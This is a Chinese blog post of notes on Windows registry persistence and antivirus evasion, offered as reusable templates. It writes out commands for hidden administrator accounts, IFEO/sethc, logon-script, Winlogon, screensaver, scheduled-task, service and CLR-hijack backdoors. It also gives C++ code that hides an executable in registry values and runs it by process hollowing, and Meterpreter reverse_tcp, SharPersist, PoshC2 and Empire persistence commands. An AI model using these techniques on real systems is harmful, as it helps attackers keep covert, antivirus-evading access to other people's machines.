注册表免杀

熟悉注册表渗透权限维持()

注册表对于权限维持有很大用处。

搁置了很久。一直想写个总结方便以后使用

先看看注册表的自启动项

一、注册表自启动项

自启动项地址C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup

MSFPersistence模块利用的就是写注册表自启动项来实现的,一般自启动项是这两个键:RunRunOnce,两者的区别如下

  1. Run:该项下的键值即为开机启动项,每一次随着开机而启动。
  2. RunOnce:RunOnce和Run差不多,唯一的区别就是RunOnce的键值只作用一次,执行完毕后就会自动删除

常见注册表启动项键的位置:

用户级

1
2
3
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

系统级

1
2
3
4
5
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce

image-20211225134255543

在这里添加可执行文件既能自启动。后面加个 -hide 还能躲在任务栏里启动

添加格式 下面各个利用姿势里面有写。 模板套一下就行

二、下面再介绍win自带113个可执行白名单远控免杀软件

有多种配合方式

可以通过劫持白名单程序注入载荷或dll劫持+软件隐身术+自启动进行免杀维持

113个可执行白名单文件如下:

:Rundll32.exe、Msiexec.exe、MSBuild.exe、InstallUtil.exe、Mshta.exe、Regsvr32.exe、Cmstp.exe、CScript.exe、WScript.exe、Forfiles.exe、te.exe、Odbcconf.exe、InfDefaultInstall.exe、Diskshadow.exe、PsExec.exe、Msdeploy.exe、Winword.exe、Regasm.exe、Regsvcs.exe、Ftp.exe、pubprn.vbs、winrm.vbs、slmgr.vbs、Xwizard.exe、Compiler.exe、IEExec.exe、MavInject32、Presentationhost.exe、Wmic.exe、Pcalua.exe、Url.dll、zipfldr.dll、Syncappvpublishingserver.vbs等等

参考链接:https://blog.csdn.net/shuteer_xu/article/details/106346101

三、现在从多方面讲讲注册表的利用之处

1.利用注册表隐藏用户(影子账户)

①使用如下命令创建隐藏用户并加入管理员组

1
2
net user test$ 123456 /add
net localgroup administrators test$ /add

创建成功后使用net user命令无法查看到此用户,但是在计算机管理页面中还是可以看到,需要通过修改注册表来隐藏。

image-20211225133242946

②打开注册表(HKEY_LOCAL_MACHINE\SAM\SAM)

修改SAM权限,赋予adminitrators完全控制权限。

image-20211225133011115

③将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值

图片

image-20211225133334128

⑤将test$和所对应项000003F1导出,分别命名为test.reg和1.reg

image-20211225133429589

image-20211225133438148

⑤删除test$用户,将test.reg和1.reg导入注册表

1
2
3
4
5
net user test$ /del

regedit /s test.reg

regedit /s 1.reg

image-20211225133505704

⑥此时在用户组已经看不到test$用户,只能在注册表中能看到。

image-20211225133527553

2.logon scripts后门

Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。

演示:

注册表位置:HKEY_CURRENT_USER\Environment

1
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\666.exe"   #创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径

image-20211225133825608

重启,即可上线。

3.映像劫持

“映像劫持”,也被称为“IFEO”(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而WindowsN T架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就运行出问题。

演示:

注册表位置:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

在此注册表位置添加项sethc.exe(配合sethc指代键),添加debugger键的值为c:\windows\system32\cmd.exe

1
2
3
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f


图片

此时点击五次shift键会打开cmd。

图片

④注册表自启动后门(开头有讲,这里作为补充)

还有这个位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

修改键Userinit的值,重启就会自动运行程序。

图片

图片

屏幕保护程序后门

屏幕保护是Windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。Windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr文件扩展名的可执行文件,并通过scrnsave.scr实用程序执行。

演示:

注册表位置:HKEY_CURRENT_USER\Control Panel\Desktop

1
SCRNSAVE.EXE为默认的屏保程序,我们可将此键值设置为我们要利用的恶意程序。在本质上,.scr文件是可执行文件。ScreenSaveActive表示屏保状态,1为启动,0为关闭。ScreenSaverTimeout表示屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)。ScreenSaverIsSecure默认参数为0,标识不需要密码即可解锁。

图片

修改SCRASAVE.EXE的值为后门程序路径,等待屏保时间自动运行。

1
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "c:\666.exe" /f

图片

图片

⑥.计划任务后门

schtasks命令设定计划自动启动后门程序。

1
schtasks /Create /tn Updater /tr c:\666.exe /sc minute /mo 5  #每5分钟自动执行666.exe

图片

图片

图片

⑦.服务自启动后门

自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务。

演示:
1
sc create test binpath= c:\666.exe    (注意等号后面有空格)#创建服务sc config test start= auto    #设置服务为自动启动net start test                #启动服务

图片

图片

⑧CLR劫持

CLR全称Common Language Runtime,中文名称为公共语言运行时。CLR是.NETFramework的主要执行引擎,作用之一是监视程序的运行。可以理解成,让系统在执行.NET程序的时候先执行一个你指定的dll文件。

1.修改注册表:HKEY_CURRENT_USER\Software\Classes\CLSID\

1
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /VE /T REG_SZ /D "C:\test.dll" /FREG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F

图片

2.配置全局环境变量,不然只在当前cmd窗口劫持.net程序,然后直接执行powershell即可上线。

1
SETX COR_ENABLE_PROFILING 1 /MSETX COR_PROFILER {11111111-1234-1234-1234-111111111111} /M

图片

图片

中方法是通过参考链接:https://mp.weixin.qq.com/s/cAjdbHfNc4Kh68zzwTfJgA

这个链接的参考链接是:

1.https://www.jianshu.com/p/4936da524040
2.https://hackergu.com/power-clr-thief/
3.https://cloud.tencent.com/developer/article/1850726
4.https://xz.aliyun.com/t/6461
5.https://cloud.tencent.com/developer/article/178286

四:恶意软件隐身术

把可执行文件隐藏在注册表里

一个并不多见的恶意软件编写技术:把可执行代码隐藏在windows注册表里。这个技术需要我们把可执行文件的一部分或者入口写进注册表里,然后加载并执行它。这种技术意在隐藏二进制文件潜在的恶意功能,取而代之的是分散在windows注册表里的键值,最终使得恶意二进制文件难以被检测。实际上,键值里的可执行代码被加载的时候,会进行随机次数的编码(重编码),使得特征码扫描更加困难。好的检测策略是监控进程加载数据过程,而不是扫描注册表。

恶意软件隐身术:把可执行文件隐藏在注册表里

本文主要描述了一个并不多见的恶意软件编写技术:把可执行代码隐藏在windows注册表里。这个技术需要我们把可执行文件的一部分或者入口写进注册表里,然后加载并执行它。这种技术意在隐藏二进制文件潜在的恶意功能,取而代之的是分散在windows注册表里的键值,最终使得恶意二进制文件难以被检测。实际上,键值里的可执行代码被加载的时候,会进行随机次数的编码(重编码),使得特征码扫描更加困难。好的检测策略是监控进程加载数据过程,而不是扫描注册表。

0x00 存储文件到注册表


第一步涉及到把文件导入注册表,文件将被分割多个小部分,并写入到注册表键值中。接下来文件将被提取、重组,最终在一傀儡进程里得以执行。有多个方法实现这一过程。注册表有多种不同的键值类型,足以存储多种格式的数据,包括物理二进制数据、32/64位数值、字符串。实际操作中,文件将被BASE64编码以字符串(REG_SZ)形式被存入注册表。

image-20211225143153818

把数据导入到注册表中非常简单。首先通过RegCreateKeyEx打开键值句柄,RegCreateKeyEx的功能是打开一个存在的键值句柄或者创建一个键值句柄,然后通过RegGetValue and RegSetValueEx来进行读取和写入操作。具体操作参见以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
const HKEY OpenRegistryKey(const char * const strKeyName, const bool bCreate = true)
{
HKEY hKey = nullptr;
DWORD dwResult = 0;

LONG lRet = RegCreateKeyExA(HKEY_CURRENT_USER, strKeyName, 0,
nullptr, 0, KEY_READ | KEY_WRITE | KEY_CREATE_SUB_KEY,
nullptr, &hKey, &dwResult);

if (lRet != ERROR_SUCCESS)
{
fprintf(stderr, "Could not create/open registry key. Error = %X\n",
lRet);
exit(-1);
}

if (bCreate && dwResult == REG_CREATED_NEW_KEY)
{
fprintf(stdout, "Created new registry key.\n");
}
else
{
fprintf(stdout, "Opened existing registry key.\n");
}

return hKey;
}

void WriteRegistryKeyString(const HKEY hKey, const char * const strValueName,
const BYTE *pBytes, const DWORD dwSize)
{
std::string strEncodedData = base64_encode(pBytes, dwSize);

LONG lRet = RegSetValueExA(hKey, strValueName, 0, REG_SZ, (const BYTE *)strEncodedData.c_str(), strEncodedData.length());
if (lRet != ERROR_SUCCESS)
{
fprintf(stderr, "Could not write registry value. Error = %X\n",
lRet);
exit(-1);
}
}
const std::array<BYTE, READ_WRITE_SIZE> ReadRegistryKeyString(const char * const strKeyName,
const char * const strValueName, bool &bErrorOccured)
{
DWORD dwType = 0;
const DWORD dwMaxReadSize = READ_WRITE_SIZE * 2;
DWORD dwReadSize = dwMaxReadSize;

char strBytesEncoded[READ_WRITE_SIZE * 2] = { 0 }; 
LONG lRet = RegGetValueA(HKEY_CURRENT_USER,
strKeyName, strValueName,
RRF_RT_REG_SZ, &dwType, strBytesEncoded, &dwReadSize);
std::array<BYTE, READ_WRITE_SIZE> pBytes = { 0 };
std::string strDecoded = base64_decode(std::string(strBytesEncoded));
(void)memcpy(pBytes.data(), strDecoded.c_str(), strDecoded.size());

if (lRet != ERROR_SUCCESS)
{
fprintf(stderr, "Could not read registry value. Error = %X\n",
lRet);
bErrorOccured = true;
}
if (dwType != REG_SZ || (dwReadSize == 0 || dwReadSize > dwMaxReadSize))
{
fprintf(stderr, "Did not correctly read back a string from the registry.\n");
bErrorOccured = true;
}
return pBytes;
}

这基本是把文件导入到注册表的所有操作了。另外限于篇幅,还有一些额外的细节并没有在上述代码中展示出来,比如把文件分割成小部分写进不同的键值里,这部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void WriteFileToRegistry(const char * const pFilePath)
{
HKEY hKey = OpenRegistryKey("RegistryTest")
std::string strSubName = "Part";
std::string strSizeName = "Size";
size_t ulIndex = 1;

auto splitFile = SplitFile(pFilePath);
for (size_t i = 0; i < splitFile.size(); ++i)
{
std::string strFullName(strSubName + std::to_string(ulIndex));

WriteRegistryKeyString(hKey, strFullName.c_str(), splitFile[i].data(), READ_WRITE_SIZE);
++ulIndex;
}
CloseHandle(hKey);
}

示例代码中第一级键是在HKCU\RegistryTest下面,可执行文件被分割成多个块儿,每个块儿大小为2048字节,然后进行BASE64编码,以键值名“Part1”, “Part2”, … “PartN”的形式写入注册表里。执行上述代码后,

通过BASE64解码可以快速验证键值里面的内容是否正确,“Part1”键值内容被解码后输出如下内容(修剪过),可以看到PE文件头。

1
2
3
4
5
MZ[144][0][3][0][0][0][4][0][0][0][255][255][0][0][184][0][0][0][0][0][0][0]@[0][0][0][0][0][0][0]
[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][240][0][0][0]
[14][31][186][14][0][180][9][205]![184][2]L[205]!This program cannot be run in DOS mode.[13][13]
[10]$[0][0][0][0][0][0][0][181]!:

这个时候文件已经被保存在注册表里了,同时可以从磁盘里删除了。

0x01 从注册表中提取文件


此时,文件被分割成多个小块并保存在注册表里。提取文件无非与第一节相反,读取存储文件的键值的每一部分、进行BASE64解码、合并文件。示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
NewProcessInfo JoinRegistryToFile(const char * const strKeyName, const char * const strValueName)
{
NewProcessInfo newProcessInfo = { 0 };
std::vector<std::array<BYTE, READ_WRITE_SIZE>> splitFile;

size_t ulKeyIndex = 1;
std::string strFullName(strValueName + std::to_string(ulKeyIndex));

bool bErrorOccured = false;
auto partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);

while (!bErrorOccured)
{
splitFile.push_back(partFile);

++ulKeyIndex;
strFullName = strValueName + std::to_string(ulKeyIndex);

partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);
}

newProcessInfo.pFileData = std::unique_ptr<BYTE[]>(new BYTE[splitFile.size() * READ_WRITE_SIZE]);
memset(newProcessInfo.pFileData.get(), 0, splitFile.size() * READ_WRITE_SIZE);

size_t ulWriteIndex = 0;
for (auto &split : splitFile)
{
(void)memcpy(&newProcessInfo.pFileData.get()[ulWriteIndex * READ_WRITE_SIZE], splitFile[ulWriteIndex].data(),
READ_WRITE_SIZE);
++ulWriteIndex;
}

newProcessInfo.pDosHeader = (IMAGE_DOS_HEADER *)&(newProcessInfo.pFileData.get()[0]);
newProcessInfo.pNtHeaders = (IMAGE_NT_HEADERS *)&(newProcessInfo.pFileData.get()[newProcessInfo.pDosHeader->e_lfanew]);

return newProcessInfo;
}

这里上一节定义的ReadRegistryKeyString函数被用来提取文件的各个部分,然后把各个部分重新组、合并,存在newProcessInfo.pFileData.这个结构体里。这里还有些额外的区域需要被初始化,比如PE DOS and NT headers,这对下节将会非常有用。

加载提取后的文件 此时文件已经从注册表里提取出来了,并且保存在内存缓冲空间里。如果这时候我们把数据写进磁盘来启动进程,这就本末倒置了,因为文件又回到了磁盘里。这里我们采用替换进程(详见http://www.codereversing.com/blog/archives/65)的方法来加载我们的可执行文件。接下来我们挂载一个僵尸进程(备注:随便打开一个进程),在它还没有映射内存的时候,使他处于暂停状态。然后我们把我们从注册表里提取的文件按字节映射到该进程里,然后再让进程继续运行,代码如下:

1
2
3
4
5
6
7
8
9
10
11
void ExecuteFileFromRegistry(const char * const pValueName)
{
HKEY hKey = OpenRegistryKey("RegistryTest");

auto newProcessInfo = JoinRegistryToFile("RegistryTest", pValueName);
auto processInfo = MapTargetProcess(newProcessInfo, "DummyProcess.exe");
RunTargetProcess(newProcessInfo, processInfo);

CloseHandle(hKey);
}

MapTargetProcess and RunTargetProcess这两个函数代码这里并没有贴出来,因为他们基本是我从我2011年写的文章里拷贝过来的。这里我提出一点需要注意的地方,本文描素的技术的适用条件是:傀儡进程以及我们需要执行的文件都是基于X86的,并且编译时要禁用DEP/ASLR

这里dummyprocess.exe(包含在文章尾的ZIP里)的进程已被掏空,被另一个进程替换——replacementprocess.exe(也包括在zip)。ZIP里包有一个“Sample”文件夹,以提供交互实例。演示时按以下步骤操作:

运行dummyprocess.exe观察那是一个Win32 UI的应用程序。

运行write.bat,他会调用filelesslauncher.exereplacementprocess.exe写在HKCU \\ registrytest下。

删除replacementprocess.exe

运行execute.bat,它将调用filelesslauncher.exe读取HKCU \\ registrytest下的内容并重组replacementprocess.exe。然后用ReplacementProcess.exe的数据来替dummyprocess.exe的内存数据。进程将继续运行,然后会弹出一个消息框弹,这是replacementprocess.exe代码被执行后的效果。

最后请清理一下注册表。

0x02 总结以及代码


本文所提供的技术展示了如何把一个可执行文件存储在注册表里。在对抗这种技术方面有很多选择。比如:某种程度上被写入的代码要被重组,这就意味着某个地方会出现恶意文件的硬编码或者从注册表提取文件的配置说明。这些都可以用来标记恶意软件的特征。另外,既然采用进程替换技术,也可以利用该技术的弱点来检测。比如,对比傀儡进程的内存镜像和磁盘镜像,一定会有很多不同。通过动态分析,也可以快速找出恶意软件:监控注册表API函数的调用以及检查是否调用了NtUnmapViewOfSection函数,来作为一个标记。

参考链接:代码更新 请关注Twitter:https://twitter.com/codereversing

五:Powershell注册表操作和powershell操作注册表权限

0x00Powershell注册表操作

#注册表操作命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Get-PSProvider          获取安装的提供程序列表

Dir, Get-ChildItem 列出键的内容

Cd, Set-Location 更改当前(键)目录

HKCU:, HKLM: 预定义的两个重要注册表根目录虚拟驱动器

Get-ItemProperty 读取键的值

Set-ItemProperty 设置键的值

New-ItemProperty 给键创建一个新值

Clear-ItemProperty 删除键的值内容

Remove-ItemProperty 删除键的值

New-Item, md 创建一个新键

Remove-Item, Del 删除一个键

Test-Path 验证键是否存在

Get-PSDrive -PSProvider Registry 查看那些注册表驱动器已经被注册表提供程序使用

New-PSDrive job1 registry "HKLM:\Software\Microsoft\Windows NT\CurrentVersion"
dir job1: 自由地创建任何额外的驱动器

0x01powershell操作注册表权限

1
2
Get-Acl            

查看键的当前权限

1
2
3
4
5
6
$acl = Get-Acl HKCU:\Software\Testkey
$acl.Owner
mosser
$me = [System.Security.Principal.NTAccount]"$env:userdomain\$env:username"
$acl.SetOwner($me)

接管一个注册表键(先有权限访问)的所有权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
del HKCU:\Software\Testkey2
md HKCU:\Software\Testkey2
$acl = Get-Acl HKCU:\Software\Testkey2
$person = [System.Security.Principal.NTAccount]"Administrators"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]`
"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)

$acl.ResetAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"ReadKey"
$inheritance = [System.Security.AccessControl.InheritanceFlags]`
"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.ResetAccessRule($rule)
Set-Acl HKCU:\Software\Testkey2 $acl

管理员拥有更改权限普通用户只有读取的新键的权限

六、各种工具配合注册表使用进行权限维持

Meterpreter –Run键

另外两个注册表位置,这些位置可以允许红队通过执行任意有效负载或DLL来实现持久性。这些将在登

录期间执行,并且需要管理员级别的特权。

1
2
3
4
5
6
7
8
9
10
11
reg add

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v

Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"

reg add

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Dep

end" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.dll"

image-20211225145501769

Meterpreter –任意DLL

Metasploit

Metasploit Framework通过使用Meterpreter脚本和后期利用模块来支持通过注册表的持久性。

Meterpreter脚本将以VBS脚本的形式创建一个有效负载,该负载将被拖放到磁盘上,并将创建一个注

册表项,该注册表项将在用户登录期间运行该有效负载。

Metasploit – Meterpreter持久性脚本

用户下次登录系统时,将打开一个新的Meterpreter会话。

Metasploit – Meterpreter会话

另外,还有一个后期开发模块,可用于持久性。该模块需要以下配置,并将可执行文件放置在受感染系

统上的可写位置。

1
2
3
4
5
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r

10.0.2.


image-20211225145751907

Metasploit – Meterpreter持久性脚本

用户下次登录系统时,将打开一个新的Meterpreter会话。

image-20211225145808681

Metasploit – Meterpreter会话

另外,还有一个后期开发模块,可用于持久性。该模块需要以下配置,并将可执行文件放置在受感染系

统上的可写位置

1
2
3
4
5
6
7
8
9
10
11
use post/windows/manage/persistence_exe

set REXEPATH /tmp/pentestlab.exe

set SESSION 2

set STARTUP USER

set LOCALEXEPATH C:\\tmp

run

image-20211225145836598

Metasploit –持久性利用后开发模块配置

由于已选择USER作为选项,该模块将使用当前用户的注册表位置

image-20211225145851974

Metasploit –持久性后期开发模块

如果已获得系统级别的特权,则可以将该模块配置为在HKLM位置中创建注册表项。该STARTUP选项

将需要改变系统。

Metasploit –作为系统的持久性模块

set STARTUP SYSTEM

image-20211225150021595

SharPersist

SharPersist是Brett Hawkins在C#中开发的工具,它结合了多种持久性技术,包括添加注册表运行

键。该工具包可以加载到支持反射加载的各种命令和控制框架中,例如Cobalt Strike和PoshC2。以下

命令将创建一个注册表项,该注册表项将从与Metasploit Framework模块相同的注册表位置执行任意

有效负载。

1
2
3
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c

C:\tmp\pentestlab.exe" -k "hkcurun" -v "pentestlab" -m add

image-20211225150102381

SharPersist –以用户身份注册

如果已获得提升的访问权限,请修改命令以在本地计算机位置中安装注册表项,以实现所有用户的持久

性。

1
2
3
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c

C:\tmp\pentestlab.exe" -k "hklmrun" -v "pentestlab" -m add -o env

SharPersist –注册为SYSTEM

SharPersist还通过RunOnceRunOnceEx注册表项包含持久性功能。以下命令将在这些位置创建注

册表项,这些注册表项将执行任意有效负载。

1
2
3
4
5
6
7
8
9
10
11
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c 

pentestlab.exe" -k "hklmrunonce" -v "Pentestlab" -m add

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c

pentestlab.exe" -k "hklmrunonceex" -v "Pentestlab" -m add

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c

pentestlab.exe" -k "hkcurunonce" -v "Pentestlab" -m add

image-20211225150141799

SharPersist – RunOnce注册表项

SharPersist还提供了使用另一个注册表位置进行持久化的选项(UserInitMprLogonScript)。

1
2
3
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c 

pentestlab.exe" -k "logonscript" -m add

image-20211225150216295

PoshC2

PoshC2支持各种持久性功能,包括注册表运行键的方法。以下命令将在目标主机中创建两个注册表

项。

install-persistence

image-20211225150239387

PoshC2 –持久性

注册表的“运行”项将具有IEUpdate的名称,以便看起来合法,第二个注册表项将作为墙纸隐藏在注册

表中

image-20211225150253132

PoshC2 –注册表运行键

Empire

如果将Empire用作命令和控件,Empire包含两个与通过注册表运行项与持久性技术对齐的模块。根据

特权级别,这些模块将尝试在以下注册表位置中安装base64有效负载:

1
2
3
HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug 

HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug

image-20211225150324745

Empire – Debug 注册表项有效负载

1
2
3
usemodule persistence/userland/registry 

usemodule persistence/elevated/registry*

image-20211225150348696

Empire –Persistence Registry Module

将在名称Updater下创建另一个注册表项,该注册表项将包含要执行的命令。PowerShell将尝试在下

次登录时运行Debug密钥中存储的有效负载,以实现持久性。

1
2
3
HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run 

HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run

image-20211225150413416

Empire – Registry Run Key

参考链接:https://pentestlab.blog

七、注册表指令函数功能介绍(c#函数)

REG_SZ:字符串数据的主要类型,用于存储固定长度的字符串或其他短文本

值。我们在实际程序中通常只用这种数据类型,如果要保存布尔值时,将它表

示成0或1。

REG_BINARY:用于存储二进制数据。

REG_EXPAND_SZ:可扩展的字符串值,可以保存在运行时才解析的系统变量。

REG_MULTI_SZ:以数组的格式保存多个文本字符串,每个字符串”元素”都以

null字符结束

(1) RegOpenKeyEx****函数

打开一个指定的注册表键。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
LONG WINAPI RegOpenKeyEx( 

HKEY hKey, //需要打开的主键的名称

LPCTSTR lpSubKey, //需要打开的子键的名称

DWORD ulOptions, //保留,设为0

REGSAM samDesired, //安全访问标记,也就是权限

PHKEY phkResult //得到的将要打开键的句柄

)


(2) RegSetValueEx****函数

在注册表项下设置指定值的数据和类型。返回零表示成功,返回其他任何值都代

表一个错误代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
LONG RegSetValueEx( 

HKEY hKey, //指定一个已打开句柄或标准项名

LPCTSTR lpValueName, //指向一个字符串的指针,该字符串包含设置值的名称

DWORD Reserved, //保留值,必须强制为0

DWORD dwType, //指定存储的数据类型,如REG_BINARY\REG_DWORD

CONST BYTE *lpData, //指向一个缓冲区,包含指定名称存储的数据

DWORD cbData //指定由lpData参数指向的数据大小

)

SHGetSpecialFolderPath****函数

获取指定的系统路径。

BOOL SHGetSpecialFolderPath(

HWND hwndOwner,

LPTSTR lpszPath,

int nFolder,

BOOL fCreate

);

参数

hwndOwner:窗口所有者的句柄

lpszPath:返回路径的缓冲区,该缓冲区大小至少为MAT_PATHA

nFolder:系统路径的CSIDL标识

– CSIDL_BITBUCKET:桌面\回收站

– CSIDL_CONTROLS:我的电脑\控制面板

– CSIDL_DESKTOP:桌面

– CSIDL_DRIVES:我的电脑

– CSIDL_STARTUP:开始菜单\程序\启动

– CSIDL_SYSTEM:System文件夹

– CSIDL_WINDOWS:Windows目录

• fCreate:指示文件夹不存在时是否要创建,FALSE不创建

返回值

如果返回TRUE表示执行成功;否则执行失败。

系统进程自启动是通过创建系统服务并设置服务启动类型为自动启动来实现的,接下来

我们进行相关介绍。

**1.**函数介绍

(1) OpenSCManager****函数

建立了一个到服务控制管理器的连接,并打开指定的数据库。如果函数成功,则返回一

个服务控制管理器数据库的句柄;否则返回NULL。

SC_HANDLE WINAPI OpenSCManager(

__in_opt LPCTSTR lpMachineName, //指定计算机名称

__in_opt LPCTSTR lpDatabaseName, //指定要打开服务控制管理数据库的名称

__in DWORD dwDesiredAccess //指定服务访问控制管理器的权限

);

(2) CreateService****函数

建立一个服务对象,并将其添加到指定的服务控制管理器数据库中。如果函数成

功,则返回该服务的句柄;否则返回NULL。

SC_HANDLE CreateService(

SC_HANDLE hSCManager, //服务控制管理器数据库的句柄

LPCTSTR lpServiceName, //要安装服务的名称

LPCTSTR lpDisplayName, //用户界面标识服务的显示名称

DWORD dwDesiredAccess, //对服务的访问

DWORD dwServiceType, //指定服务类型

DWORD dwStartType, //指定服务启动选项

DWORD dwErrorControl, //指定服务启动失败的严重程度

LPCTSTR lpBinaryPathName, //指定服务程序二进制文件的路径

LPCTSTR lpLoadOrderGroup, //指定顺序装入的服务组名

LPDWORD lpdwTagId, //标记变量

LPCTSTR lpDependencies, //指定启动该服务前必须先启动的服务或服务组

LPCTSTR lpServiceStartName, //该服务应运行的账户名称

LPCTSTR lpPassword //指定账户名的密码

);

其中,dwStartType共有五种启动类型。

前三种类型是 SERVICE_AUTO_START、SERVICE_DISABLED 和

SERVICE_DEMAND_START。对应的标准启动类型自动、禁用和手动,通常

使用“计算机管理”管理工具中的“服务”进行配置。

后两种类型是 SERVICE_BOOT_START 和 SERVICE_SYSTEM_START,

通常用于配置加载设备驱动程序的方式。25

(3) OpenService****函数

打开一个已经存在的服务。如果函数成功,则返回该服务的句柄;否则返回NULL,

可以通过GetLastError获取错误码。

SC_HANDLE WINAPI OpenService(

SC_HANDLE hSCManager, //指向SCM数据库句柄

LPCTSTR lpServiceName, //要打开服务的名称

DWORD dwDesiredAccess //指定服务权限

);

(4) StartService****函数

启动服务。如果函数成功,则返回非零数值;否则返回0,可以通过GetLastError

获取错误码。

SC_HANDLE WINAPI StartService(

SC_HANDLE hService, //OpenService或CreateService函数返回服务句柄

DWORD dwNumServiceArgs, //下一个形参lpServiceArgVectors字符串个数

LPCTSTR *lpServiceArgVectors //传给服务ServiceMain的参数

);

(5) StartServiceCtrlDispatcher****函数

将服务进程的主线程连接到服务控制管理器,该线程将作为调用过程的服务控制

分派器线程。如果函数成功,则返回非零数值;否则返回0,可以通过

GetLastError获取错误码。

BOOL WINAPI StartServiceCtrlDispatcher(

In const SERVICE_TABLE_ENTRY * lpServiceTable

)


注册表免杀
http://example.com/熟悉注册表渗透免杀指令.html
Author
CDxiaodong
Posted on
December 20, 2022
Licensed under